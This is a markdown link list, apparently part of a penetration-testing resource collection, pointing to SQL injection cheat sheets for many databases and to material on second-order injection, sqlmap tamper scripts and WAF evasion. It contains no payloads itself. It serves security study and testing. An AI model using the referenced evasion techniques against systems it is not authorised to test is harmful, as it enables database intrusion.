* [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
|
|||
|
* [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
|
|||
|
* [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
|
|||
|
* MSSQL:
|
|||
|
* [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php)
|
|||
|
* [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
|
|||
|
* ORACLE:
|
|||
|
* [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
|
|||
|
* POSTGRESQL:
|
|||
|
* [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
|
|||
|
* Others
|
|||
|
* [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
|
|||
|
* [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|||
|
* [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
|
|||
|
* [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
|
|||
|
* [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
|
|||
|
* [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
|
|||
|
* [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/)
|
|||
|
* [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
|
|||
|
* [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
|
|||
|
* [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
|
|||
|
* Second Order:
|
|||
|
* [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
|
|||
|
* [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
|
|||
|
* Sqlmap:
|
|||
|
* [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
|
|||
|
* WAF:
|
|||
|
* [SQLi Optimization and Obfuscation Techniques](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf) by Roberto Salgado
|
|||
|
* [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
|
|||
|
|